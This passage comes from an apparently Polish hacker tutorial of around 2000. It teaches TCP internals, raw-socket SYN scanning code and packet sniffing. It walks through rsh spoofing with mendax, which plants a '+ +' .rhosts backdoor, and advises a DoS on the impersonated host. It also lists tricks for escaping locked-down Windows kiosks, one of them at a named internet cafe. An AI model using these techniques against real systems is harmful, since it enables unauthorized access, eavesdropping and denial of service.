  http://www.wiretrip.net/rfp/p/doc.asp?id=3&iface=2

- RFP9902: RDS/IIS 4.0 vulnerability and exploit
  http://www.wiretrip.net/rfp/p/doc.asp?id=1&iface=2

- RDS exploit (msadc.pl v1 and v2)
  http://www.wiretrip.net/rfp/p/doc.asp?id=16&iface=2

- ULG recommended fix on OSALL
  http://www.aviary-mag.com/News/Powerful_Exploit/ULG_Fix/ulg_fix.html

- CERT blurb
  http://www.cert.org/current/current_activity.html#0

- Attrition - mirror podmienionych site'ow (popraw albo tez sie tam znajdziesz!)
  http://www.attrition.org/mirror/attrition/


  --------------------------------- PROTOKOLY --------------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  3.1    TCP

W protokole TCP (ang. Transmission Control Protocol) aby mozna bylo rozpoczac
transmisje wlasciwych danych nalezy uprzednio zainicjowac polaczenie - mowimy
wiec, ze protokol TCP jest tzw. protokolem polaczeniowym. Gdy to nastapi dane
moga byc przesylane w obu kierunkach.

Gdy nawiazujemy polaczenie wykonywane sa 3 kroki - jest to tzw. 3 stopniowe
polaczenie, z angielskiego zwane potrojnym potrzasnieciem dloni (3-way
handshake). Wyglada to tak:

1   A   -SYN->   B
2   A <-SYN/ACK- B
3   A   -ACK->   B

A - comp wysylajacy prosbe o polaczenie
B - comp odpowiadajacy na wezwanie
SYN,SYN/ACK,ACK - nazwy flag wysylanych pakietow

Przyjrzyjmy sie powyzszym flagom:

SYN - (SYNchronize Sequence Numbers) przesylana jest tylko przy
3-stopniowym polaczeniu i sluzy do przekazywania numerow komunikacji (initial sequence
number, w skrocie ISN). Numery te sa niezbedne do nawiazania i kontynuowania polaczenia.

ACK - (ACKnowledgment) potwierdza zgodnosc numerow komunikacji,
przekazuje kolejnu oczekiwany numer oraz numer odebrany +1.

Inne nie wymienione wczesniej flagi to:

FIN - (FINish) zakonczenie wysylania danych (nie odbierania!)

RST - (ReSeT) zerwanie polaczenia

URG - (URGent) jest to flaga wykorzystywana przy wysylaniu tzw. Out Of Band data
(OOB - pamietacie slynnego WinNuke?) lub inaczej Expedited data. Sa to dane
wysokopriorytetowe, ktore musza byc obsluzone w pierwszej kolejnosci (jak
naprzyklad nacisniecie podczas sesji telnetu Control-C czy Control-S)

PSH - (PuSH) Oznacza dane, ktore tez powinny byc dostarczone mozliwie
najszybciej. Wystepuje w polaczeniach interaktywnych jak telnet czy rlogin.

Oke, przejdzmy teraz ponownie do naszego polaczenia, oto jak to wyglada
step-by-step:

Krok 1: comp A sle do B prosbe o polaczenie przekazujac pakiet oznaczony flaga
SYN, zawierajacy ISN.

Krok 2: comp B odpowiada ysylajac pakiet SYN (zawierajacy jego wlasne ISN) i ACK
(zawierajacy potwiedzenie odebranego ISN compa A +1).

Krok 3: comp A rowniez wysyla potwierdzenie odebranai ISN compa B oznaczajac
pakiet flaga ACK w podany powyzej sposob.

Jezeli wszystko pojdzie jak opisalem to powyzej (to znaczy numerki ISN beda sie
zgadzaly) to moze rozpoczac sie transmisja wlasciwych danych.

Po co sa wlasciwie te ISN'y?
Gdy przekazywany jest kolejny ISN sprawdzane jest czy jest on kolejnym
oczekiwanym. Jezeli tak nie jest otrzymany pakiet zostanie zignorowany. To
wlasnie odgadniecie kolejnych numerow ISN stanowi caly trudnosc w technikach
takich jak spoofing czy hijacking.

Oto jak wyglada naglowek TCP i ile bitow zajmuja jego kolejne elementy:

                             32 bity
 |0                           15|16                          31|
  _____________________________________________________________
 |   port zrodlowy (16 bitow)   |   port docelowy (16 bitow)   |
 |-------------------------------------------------------------|
 |                  numer sekwencji (32 bity)                  |
 |-------------------------------------------------------------|
 |                numer potwierdzenia (32 bity)                |
 |-------------------------------------------------------------|
 |dlugosc|zarezerwo-|U|A|P|R|S|F|                              |
 | nagl. |wane      |R|C|S|S|Y|I|   rozmiar okna (16 bitow)    |
 |4 bity |  6 bitow |G|K|H|T|N|N|                              |
 |-------------------------------------------------------------|
 |  suma kontrolna (16 bitow)   |  wskaznik URGent (16 bitow)  |
 |-------------------------------------------------------------|
 = opcje                                   <-|->   dopelnienie = opcjonalne
 |-------------------------------------------------------------|
 =                          D A N E                            = opcjonalne
 |                                                             |


Przyjrzyjmy sie ponizszemu logowi ze sniffierki. Jak nie trudno zauwazyc
(port 23) jest to polaczenie telnet'owe:

10.0.0.2  - Windows NT
10.0.0.14 - Linux (RedHat 6.1) - na nim odpalilem sniffierke

---POCZATEK LOGU

Supported Network device found. (eth0)
Sniffit.0.3.7 Beta is up and running.... (10.0.0.14)

1
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.2.1232-10.0.0.14.23
   SEQ (hex): 12C4B      FLAGS: ----S-
2
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.14.23-10.0.0.2.1232
   SEQ (hex): 22A76113   ACK (hex): 12C4C
   FLAGS: -A--S-   Window: 7D78
3
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.2.1232-10.0.0.14.23
   SEQ (hex): 12C4C   ACK (hex): 22A76114
   FLAGS: -A----   Window: 2238
4
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.14.23-10.0.0.2.1232
   SEQ (hex): 22A76114   ACK (hex): 12C4C
   FLAGS: -AP---   Window: 7D78
5
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.2.1232-10.0.0.14.23
   SEQ (hex): 12C4C   ACK (hex): 22A76120
   FLAGS: -AP---   Window: 222C
6
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.14.23-10.0.0.2.1232
   SEQ (hex): 22A76120   ACK (hex): 12C4F
   FLAGS: -A----   Window: 7D78
7
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.2.1232-10.0.0.14.23
   SEQ (hex): 12C4F   ACK (hex): 22A76120
   FLAGS: -AP---   Window: 222C
8
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.14.23-10.0.0.2.1232
   SEQ (hex): 22A76120   ACK (hex): 12C58
   FLAGS: -AP---   Window: 7D78
9
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.2.1232-10.0.0.14.23
   SEQ (hex): 12C58   ACK (hex): 22A76126
   FLAGS: -AP---   Window: 2226
10
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.14.23-10.0.0.2.1232
   SEQ (hex): 22A76126   ACK (hex): 12C63
   FLAGS: -AP---   Window: 7D78
11
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.2.1232-10.0.0.14.23
   SEQ (hex): 12C63   ACK (hex): 22A76135
   FLAGS: -AP---   Window: 2217
12
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.14.23-10.0.0.2.1232
   SEQ (hex): 22A76135   ACK (hex): 12C66
   FLAGS: -A----   Window: 7D78
13
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.2.1232-10.0.0.14.23
   SEQ (hex): 12C66   ACK (hex): 22A76135
   FLAGS: -AP---   Window: 2217
14
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.14.23-10.0.0.2.1232
   SEQ (hex): 22A76135   ACK (hex): 12C72
   FLAGS: -A----   Window: 7D78
15
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.14.23-10.0.0.2.1232
   SEQ (hex): 22A76135   ACK (hex): 12C72
   FLAGS: -AP---   Window: 7D78
16
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.2.1232-10.0.0.14.23
   SEQ (hex): 12C72   ACK (hex): 22A7617F
   FLAGS: -AP---   Window: 21CD
17
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.14.23-10.0.0.2.1232
   SEQ (hex): 22A7617F   ACK (hex): 12C75
   FLAGS: -AP---   Window: 7D78
18
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.2.1232-10.0.0.14.23
   SEQ (hex): 12C75   ACK (hex): 22A76186
   FLAGS: -AP---   Window: 21C6
19
TCP Packet ID (from_IP.port-to_IP.port): 10.0.0.14.23-10.0.0.2.1232
   SEQ (hex): 22A76186   ACK (hex): 12C78
   FLAGS: -A----   Window: 7D78
Gracefull shutdown...

-----KONIEC LOGU

Dla ulatwienie ponumerowalem pakiety.
I tak pakiety 1,2,3 jest to nic innego jak 3-krokowe nawiazanie polaczenia.
Dalej to juz transmisja danych. Przypatrzmy sie pakietom 13 i 14 - sa
identyczne. Po prostu 10.0.0.14 niedoczekawszy sie odpowiedzi w przyzwoitym
czasie ponownie wyslal pakiet. Oczywiscie nie mozna z ponizszego logu
wnioskowac, ze 10.0.0.2 tez nie wysylal kilkakrotnie tych samych pakietow.
Zalogowane zostalyby jedynie gdyby dotarly do celu (Sniffierke odpalilem wlasnie
na 10.0.0.14).

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  3.1a    TCP/IP w praktyce

Zanim wysylane dane opuszcza nasz komputer musza zostac _opakowane_, tzn.
zostaja dodane do nich naglowki tcp, ip, eth(dla sieci ethernet). Tak wiec
pakiet opuszczajacy nasz komputer wyglada tak:


    |---------|-------|--------|-----------------|---|
    |  ethhdr | iphdr | tcphdr |     DANE        |eth|
    |---------|-------|--------|-----------------|---|
     naglowek  nagl.IP naglowek                   element
     ethernetu         TCP                        koncowy
                                                  ethernetu


pierwszy naglowek zawiera miedzy innymi 48-bitowy adres zrodlowy i docelowy
ethernetu, drugi 32-bitowe adresy internetu (IP): zrdlowy i docelowy, trzeci
16-bitowe numery portow: zrodlowego i docelowego a  nastepnie sa dane.
Przyjrzyjmy sie dokladnie strukturze naglowka tcp:

struct tcphdr
{
    u_int16_t source; // numer portu od ktorego pochodzi pakiet
    u_int16_t dest;   // numer portu docelowego
    u_int32_t seq;    // (sequence number)
    u_int32_t ack_seq;// (acknowledgment number) numer sekw. oczekiwanego
                      //  pakietu
#if __BYTE_ORDER == __LITTLE_ENDIAN // mniejsze nizej
    u_int16_t res1:4; // zarezerwowane
    u_int16_t doff:4; // dlugosc naglowka
    u_int16_t fin:1;  // flaga konca
    u_int16_t syn:1;  // inicjacja polaczenia
    u_int16_t rst:1;  // reset
    u_int16_t psh:1;  // dane wysokopriorytetowe (dostarczane najszybciej
                      // jak sie da)
    u_int16_t ack:1;  // potwierdzenie
    u_int16_t urg:1;  // gdy ustawione pole urg_ptr jest wazne
    u_int16_t res2:2; // zarezerwowane na przyszlosc
#elif __BYTE_ORDER == __BIG_ENDIAN // mniejsze wyzej
    u_int16_t doff:4;
    u_int16_t res1:4;
    u_int16_t res2:2;
    u_int16_t urg:1;
    u_int16_t ack:1;
    u_int16_t psh:1;
    u_int16_t rst:1;
    u_int16_t syn:1;
    u_int16_t fin:1;
#else
    u_int16_t window; // potrzebne do kontroli predkosci przeplywu danych
    u_int16_t check;  // suma kontrolna
    u_int16_t urg_ptr;// offset dodawany do seq by wyznaczyc nr sekw
                      //ostatnio wysylanych danych wysokopriprytetowych
};


BIG_ENDIAN i LITTLE_ENDIAN oznaczaja kolejnosc bajtow, tzn liczby zajmujace
wiecej niz 1 bajt kompy przechowuja w dwojaki sposob: mniej znaczacy bajt
umieszczaja nizej w pamieci (LITTLE ENDIAN) lub mniej znaczacy bajt umieszczaja
wyzej w pamieci (BIG ENDIAN). Sieciowa kolejnosc bajtow to BIG ENDIAN a kompy
chodzace na intelu przechowuja liczby w sposob LITTLE ENDIAN, a wiec trzeba je
przeksztalcac. Sluza do tego funkcje:  ntohs(), ntohl(), htons(), htonl().
Wszystkie pobieraja liczbe do przeksztalcenia i zwracaja przeksztalcona.
(wiecej info: man ntohs)

Aby napisac program wysylajacy/odbierajacy pjedyncze pakiety musimy utworzyc
surowe gniazdko (RAW SOCKET) a wiec piszemy

                sockout = socket(AF_INET, SOCK_RAW, 255);
                sockin  = socket(AF_INET, SOCK_RAW, 6);

trzecim argumentem jest liczba 255 wtedy gdy gniazdko bedzie sluzylo do
wysylania pakietof a do odbierania bedzie 6. Po dowiazaniu socketa sluzacego
do obierania mozemy wypelnic naglowki ip, tcp i je wyslac. Pozniej czytamy
dane z sockin.

Ponizej zrodlo programu wysylajacego flage SYN i oczekujacego na odpowiedz.

--- cut ---
// gcc prog.c -o ./prog
// uruchamiac z prawami nadzorcy systemu

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

#define  MSGSIZE  4096 /* maksymalny rozmiar przesylanego pakietu */
#define  MY_PORT  6000 /* lokalny port */

struct pseudohdr
{
  struct in_addr saddr;
  struct in_addr daddr;
  u_char         zero;
  u_char         protocol;
  u_short        length;
  struct tcphdr  tcpheader;
} phdr;

struct iphdr          *ip;
struct tcphdr         *tcp;
struct servent        *hp;
struct sockaddr_in    r_host, l_host;
int    i,len, r_port, /* zdalny port */
       sock_out, /* gniazdko sluzace do wysylania danych */
       sock_in;  /* gniazdko sluzace do odbierania danych */

/*  Prosty algorytm liczacy sume kontrolna */
int cksum(u_short *dane, u_short len)
{
  long    sum;
  u_short n;
  u_short a;

  sum = 0;
  while(len > 1)
  {
    sum += *dane++;
    len -= 2;
  }
  if(len == 1)
  {
    n = 0;
    *((u_char*)&len) = *(u_char *)dane;
    sum += len;
  }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  a = ~sum;
  return(a);
}

int main(int arg, char **argv)
{
  char  bufor[MSGSIZE];

  if( arg != 3 )
  {
    printf("./prog [IP] [PORT]\n");
    exit(1);
  }

  bzero((char*)&r_host, sizeof(r_host));
  bzero((char*)&l_host, sizeof(l_host));
  bzero(bufor, sizeof(bufor));

  r_port = atoi(argv[2]);

  r_host.sin_family      = AF_INET;
  r_host.sin_port        = htons(r_port); //zmiana kolejnosci bajtow
  r_host.sin_addr.s_addr = inet_addr(argv[1]);

  l_host.sin_family             = AF_INET;
  l_host.sin_port               = htons(MY_PORT);
  l_host.sin_addr.s_addr        = INADDR_ANY;

  ip  = (struct iphdr *) bufor;
  tcp = (struct tcphdr *) (bufor + sizeof(struct iphdr));

  /* wypelniamy naglowek IP i TCP */
  ip->version=4;
  ip->ihl=sizeof(struct iphdr)/4;
  ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
  ip->id=htons(0xF1C);
  ip->ttl=255;
  ip->protocol=IPPROTO_TCP;
  ip->saddr=l_host.sin_addr.s_addr;
  ip->daddr=r_host.sin_addr.s_addr;

  tcp->source=l_host.sin_port;
  tcp->dest=r_host.sin_port;
  tcp->seq=htonl(0xF1C);
  tcp->fin=0;
  tcp->syn=1; /* flaga SYN jest wazna */
  tcp->rst=0;
  tcp->psh=0;
  tcp->ack=0;
  tcp->urg=0;
  tcp->doff=sizeof(struct tcphdr)/4;
  tcp->window=htons(2048);

  bzero(&phdr,12+sizeof(struct tcphdr));
  phdr.saddr.s_addr=l_host.sin_addr.s_addr;
  phdr.daddr.s_addr=r_host.sin_addr.s_addr;
  phdr.protocol=IPPROTO_TCP;
  phdr.length=htons(sizeof(struct tcphdr));
  bcopy((char *)tcp,(char *)&phdr.tcpheader,sizeof(struct tcphdr));
  tcp->check=cksum((u_short *)&phdr,12+sizeof(struct tcphdr));

  if((sock_out=socket(AF_INET, SOCK_RAW, 255))<0)
  {
    perror("sockfd()");
    exit(1);
  }
  if((sock_in=socket(AF_INET, SOCK_RAW, 6))<0)
  {
    perror("socket()");
    exit(1);
  }
  /* nalezy dowiazac gniazdko by inne procesy mogly do niego wysylac */
  if((bind(sock_in,(struct sockaddr *)&l_host,sizeof(l_host)))<0)
  {
    perror("bind()");
    exit(1);
  }
  len = sizeof(struct tcphdr) + sizeof(struct iphdr);
  if((sendto(sock_out,bufor,len,0,(struct sockaddr_in*)&r_host,
             sizeof(r_host)))<0)
  {
    perror("sendto()");
    exit(1);
  }

  for( ; ; )
  {
    bzero(bufor,sizeof(bufor));
    if((read(sock_in,bufor,MSGSIZE))<0)
    {
      perror("read()");
      exit(1);
    }
    /* Jesli pakiet pochodzi od zdalnego portu i port docelowy zgadza sie
       z naszym portem to wyswietlamy wartosci flag
       trzeba pamietac ze obowiazuje siecowa kolejnosc bajtow */
    if(ntohs(tcp->source) == r_port && ntohs(tcp->dest) == MY_PORT)
    {
      printf("From port: %d\tTo port: %d\n",
              ntohs(tcp->source),ntohs(tcp->dest));
      printf("ACK %d\tSYN %d\tRST %d\tFIN %d\n",
             tcp->ack,tcp->syn,tcp->rst,tcp->fin);
      break;
    }
    /* jesli to pakiet nie dla nas, pomijamy i czekamy na nastepny, albo
       go czytamy;) */
  }

  exit(0);
}
--- cut ---

Jesli wyslemy flage syn na port otwarty otrzymamy odpowiedz ACK i SYN:

# ./prog 127.0.0.1 25
From port: 25   To port: 6000
ACK 1   SYN 1   RST 0   FIN 0

Jesli wyslemy na zamkniety port otrzymamy RESET:

# ./prog 127.0.0.1 68
From port: 68   To port: 6000
ACK 1   SYN 0   RST 1   FIN 0

Jesli wyslemy flage FIN na port zamkniety otrzymamy RESET:

# ./prog 127.0.0.1 666
From port: 666  To port: 6000
ACK 1   SYN 0   RST 1   FIN 0

Natomiast jesli wyslemy na port otwarty nie otrzymamy odpowiedzi:

# ./prog 127.0.0.1 80
  (brak odpowiedzi)

W ten sposob mozna napisac skaner portow, ktory nie wykonuje pelnego
polaczenia (3 way handshake) a jedynie polowe, dlatego sposob skanowania
przez podsylanie flagi SYN nazywa sie pol-otwartym.

Jesli zrozumiesz powyzesze nie powinienes miec problemu z napisaniem wlasnej
sniffierki. Aby moc pobierac wszystkie dane, ktore przelatuja przez twoja
karte sieciowa trzeba utworzyc gniazdko:

                sockfd = socket(AF_INET, SOCK_PACKET, htons(0x800));

SOCK_PACKET oznacza, jak nie trudno sie domyslec, ze pobieramy pojedyncze
pakiety, a trzeci argument, ze pobieramy pakiety internetowe. Pozniej nalezy
przestawic karte sieciow w tryb IFF_PROMISC przez wywolanie ioctl.
Robi sie to tak:

  struct ifreq r;
  ioctl(sockfd, SIOCGIFFLAGS, &r);
  r.ifr_flags |= IFF_PROMISC
  ioctl(sockfd, SIOCSIFFLAGS, &r);

Najpierw pobieramy znaczniki interfejsu, ustawiamy IFF_PROMISC i zapisujemy.
Pozniej mozna juz pobierac dane uzywajac funkcji read(). Trzeba tylko
pamietac, ze na poczatku odebranego pakietu bedzie naglowek ethernetu,
pozniej kolejno ip, tcp i dane. I... oczywiscie program MUSI byc uruchamiany
z prawami nadzorcy systemu. Polecam przeanalizowanie linsniff'a.






  --------------------------------- TECHNIKI ---------------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  4.1    Sniffing

Sniffing (obwachiwanie) polega na podsluchiwaniu tego co krazy w sieci a co nie
jest adresowane do nas. Jest to mozliwe w sieciach LAN.
Pakiety od compa A do B wysylane siecia lokalna sa ignorowane przez wszystkie
maszyny po drodze (z dobroci serca :-) Tak wiec wystarczy tylko znalezc program,
ktory zainteresuje sie owymi danymi i nam je pokaze. Program taki nazywa sie
sniffierka. Ja polecam Sniffita. Oferuje on dwa tryby pracy - interaktywny
i nie interaktywny. Pierwszy daje nam mozliwosc na biezaco ogladania odebranych
danych, drugi loguje wszystko do plikow. Sniffierki daja nam mozliwosc wybrania
filtrowania danych i odbierania tylko tych nas interesujacych, np. z danego
compa do innego, wszystkie polaczenia na dany port itd.

Sniffierki to bardzo popularne narzedzia w sieciach akademickich i osiedlowych.
Dlatego tez radzilbym wszystkim, ktorym zalezy cos-niecos na
bezpieczenstwie/prywatnosci zrezygnowanie z telnetu (o ile nie jest to konieczne)
na rzecz ssh, szyfrowania wazniejszych maili itd.

Sniffierki wykorzystywane moga byc tez do monitoringu sieci jak rowniez
przy problemach sieciowych.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  4.2   Spoofing


Spoofing polega na podszywaniu sie pod inny maszyne w sieci. Stosuje sie to np.
dla uzyskania pewnych przywilejow (np. podszywajac sie pod jakis zaufany dla
ofiary comp - patrz "2c - Plik .rhosts"), lub tez dla ukrycia swojego prawdziwego
IP w celu zachowania anonimowosci.

Sa dwa rodzaje spoofing:

1. Non-blind spoofing - (nie slepy spoofing) latwiejszy do przeprowadzenia, lecz
mozliwy tylko w obrebie wlasnejs sieci lokalnej (lub nawet w podsieci). Jest to
polaczenie techniki spoofingu ze sniffingiem. Dzieki sniffowaniu mozemy bez
problemy sprawdzic jakie beda kolejne ISN.

2. Blind spoofing - (slepy spoofing) jak sie nie da non-blind spoofing to trzeba
blind :-( Nieco bardziej kosmiczna zabawa.. tu juz trzeba owe numerki utrafic, a
to nie jest juz tak banalne.

Gdy podszywamy sie pod jakis comp to wyglada to mniej wiecej tak:

X[B] -pakiety-> A
B   <-pakiety-  A

X - nasz comp
X[B] - nasz comp wysyla pakiety podszywajac sie pod B
A - comp do ktorego sie zalecamy

Tak wiec jezeli B odpowie na pokiety od A ("przeciez ja ci nic nie slalem..") to
moze byc problem. Tak wiec na wszelki wypadek lepiej pozbyc sie compa B
(DoS, SYN flood etc.)



  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  4.2a   Prosty spoofing



Dosc prosto jest podszyc sie pod inny comp w sieci lokalnej.
Przedewszystkim musimy sprawic, by maszyna pod ktora chcemy sie podszyc
na jakis czas byla niedostepna (DoS?). Nastepnie trzeba zmienic ustawienia sieciowe
systemu (przedewszystkim chodzi mi tu o IP) na identyczne z ofiara pod ktora chcemy
sie podszyc.
Sposob ten nie zawsze dziala - zalezy od rodzeaju sieci.
Kazda karta sieciowa ma swoj wlasny, niepowtarzalny numer sieciowy tzw.
 Mac nadawany
przez producenta i niezmienialny (teoretycznie :-). Jezeli w sieci maszyny rozpoznawane sa za pomoca
tych numerow (protokol ARP) to ten sposob nie zda sie na wiele..




  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  4.2b   rsh spoofing


Prosyt atak z wykorzystaniem TCP/IP

Potrzebny stuff:Linux(or Konto shellowe)
Mendax dla Linuksa
Wymaga:C i sieciowe pliki naglowkowe
Program "mendax" - do sciagniecia z servisu UndergroundPL
OpIs:Proste narzedzie do przewinywania numerow kolejnych TCP i podszywania rshd

Po pobraniu programu rozpakowujemy go do dowolnego katalogu.Po przejsciu do tego
katalogu kompilujemy program poleceniem 'make' w ten sposob sposob stworzony
zostanie plik wykonujacy mendax.Jesli wywolamy go bez zadnych parametrow,
wyswietli informacje skladni

Sprobojmy przeprowadzic prosty atak. Moj experyment przeprowadzilem na 3
komputerach:

172.16.0.1-ofiara,Silicon Graphics Indigo

172.16.0.2-Linux AT,komputer atakujacy

172.16.0.3-Linux AT,komputer,pod ktorego adres sie podszyjemy

W komputerze  172.16.0.1(ofiara) jest plik hosts.equiv, ktory pozwala na
nawiazywanie polaczen rshz komputera

172.16.0.3:
#/etc/hosts.equiv
localhost
172.16.0.3

Moim celem bylo wykonanie polecenia na komputerze 172.16.0.1 jako uzytkownik
komputera 172.16.0.3, ale bedac faktycznie zalogowanym na komputerze 172.16.0.2
Program mendax ulatwia nam to poprzez funkcje wykonywania polecen. Jesli
znajdziesz luke w systemie atakowanym, mendax wykona na nim dowolne polecenie.
Domyslnie wykonywane jest polecenie tworzace plik ~/.rhosts zawierajacy "+ +"
W komputerze 172.16.0.2 wydalem nastepujace polecenie:

[root@linux6]#mendax -p 514 172.16.0.3 172.16.0.1 -I adam -r adam

W ten sposob mendax podrobil zadanie rsh z adresu 172.16.0.3 polaczenia z
demonem rshd pod adresem 172.16.0.1. Przedstawil sie jako uzytkownik adam.
W tym celu mendax najpierw unieruchomil 172.16.0.3 tak by ten nie mogl
odpowiadac na otrzymane pakiety:

flooding source with TCP SYN packets from 143.209.4.3:

Nasepnie mendax przeanalizowal sposob generowania numerow losowych przez
172.16.0.1:

sampling sequence numbers...
seq number:816640001,ak number:1
seq number:816704001,ack number:64001 difference:64000
seq number:816768001,ack number:64001 difference:64000
seq number:816832001,ack number:64001 difference:64000

Po odgadnieciu liczby, o jaka zwiekszaja sie numery kolejne, mendax oszukal
rshd i sprobowal wykonac polencenie:

using 64000 as prediction difference (3 hits)
spoofing rshd.
resetting TCP target connection:.
resetting source:..............
[root@linux6]#

I zadzialalo! W katalogu uzytkownika adam na komputerze 172.16.0.1 pojawil sie
nowy plik

$ls -l .r*

-rw-r--r--    1      adam    uzytkownicy     4   feb 22   08:31      .rhosts

Komputer 172.16.0.1 otworzyl furtke atakujacym. Zapisal tez w pliku dziennika
ze zadanie rshd przyszlo z komputera 172.16.0.3:
6 Feb 22 0:830:29 GNSS rshd:adam@172.16.0.3 as adam
Jak widac Moris mial racje. Nie mozna polegac na adresie zrodlowym. Z powyzszego
wpisu nie mozna wywnioskowac, ze atak nastapil z 172.16.0.2



  ----------------------------NO SECURITY (WINDOZY)---------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  5.1    Pliki .lnk

Bawilem sie ostatnio ikonami skrotow. Na pulpicie utworzylem sobie plik tekstowy
x.txt oraz 2 skruty do niego. Zmienilem nazwe skrorow na "1" i "2". Windows
przezornie nie pozwala na utworzenie skrotu do skrotu, ale od czego jest DOS.
Edytujac plik 1.lnk zmienilem wszystkie wystapienia "x.txt" na "2.lnk", podobnie
zrobilem z plikiem 2.lnk. Efektem bylo sprzezenie obu plikow ze soba. Mialem
nadzieje, ze uruchamiajac jeden ze skrotow uda mi sie przeciazyc system. Nie
zdazylem tego jednak zrobic, gdyz win wyrzucil mi blad, zrestartowal explorera
i.. tak w kolko (heh heh). Odpalilem system i wszedlem do innego profilu.
Gdy otworzylem okno C:\Windows\profiles\staryprofil\ sytuacja sie powturzyla..
Wystapienie bledu spowodowalo tym razem jedynie zamkniecie okna.

Niewiedziec czemu skrot do samego siebie nie wywolywal zadnego efektu.. ahh
dziwaczny ten M$..

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  5.2    Panel sterowania

Robimi na pulpicie nowy folder i zmieniamy nazwe na Panel
sterowania.{21EC2020-3AEA-1069-A2DD-08002B30309D}
i na pulpicie masz skopiowany Panel sterownia !

(red: dziala tylko na starszych wersjach)

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  5.3a    Sposob na shell'a 1

Zdaza sie, ze mamy zablokowany caly system, nie mamy nigdzie wejscia, bez
dostepu do dyskow, niektorych programow etc. Sa jednak sposoby by ominac
te zabezpieczenia:

prawym przyciskiem na pulpit, utworz skrot:
file://
po kliknieciu skrotu masz dostep do calego dysku !!!

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  5.3b    Sposob na shell'a 2

Odpal mIRC i wpisz w okienku 'status': /run c:\ albo /run c:\command.com
jak kto lubi.. (z innymi IRC klientami tez powinno dzialac)

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  5.3c    Sposob na shell'a 3

Prawym na pulpit, utworz skot, przegladaj
 i.. oto jestesmy na C: :-)
Dalej to zalezy, np. w Pl@net (Inet-cafe w Koszalinie) poprzedni sposob na
shell'a nie dzialal - pruba uruchomienia command.com skonczyla sie komunikatem,
ze to niedozwolone. Ciezko wiec szukac shella nie widzac tego co jest na dysku.
Tak mamy troche latwiej. Wystarczy odpalic explorer.exe - o ile sie nie myle
to jest to ten sam prog, ktory zarzadza calym pulpitem/oknami i nie mozna
zablokowac do niego dostepu..

Takie rzeczy znajduje sie dosyc szybko i wystarczy troche pokombinowac by
osiagnac cel. Tak wiec nie zalamujcie sie gdy powyzesze triki nic nie dadza
i poszperajcie troche a z pewnoscia cos sie znajdzie.


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  5.4     Rekurencyjne kopiowanie


Pamietacie przekret z DOS'a polegajacy na skopiowaniu katalogu do siebie samego?
Efektem tego bylo rekurencyjne kopiowanie, co powodowalo utworzenie szeregu
katalogow jeden w drugim. Winda jest na to odporna ..prawie. Przy prubie takiego
kopiowania wywali komunikat, ze operacja nie moze byc wykonana. Mozna to jednak
obejsc. Katalog, ktory chcemy "rozmnozyc" musimy udostepnic z prawem do zapisu.
Potem za pomoza opcji "Mapuj dysk sieciowy" tworzymy dla tego katalogu virtuala.
Otwieramy 2 okna - jedno "Moj komputer\<zmapowany dysk>" a drugie
z udostepnionym katalogiem w tradycyjny sposob tj. przez "otoczenie sieciowe".
Teraz tylko kopiojemy ow katalog miedzy oknami.


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  5.5     Co to jest i jak dziala firewall?

Firewall (zapora ogniowa) to aplikacja, ktora ma za zadanie kontrolowac
wszelkie dane przesylane przez lacze. Poszczegolne opcje odpowiadaja za
dzialanie programu. Tzw. "Internet Lock" sluzy do blokowania przesylanych
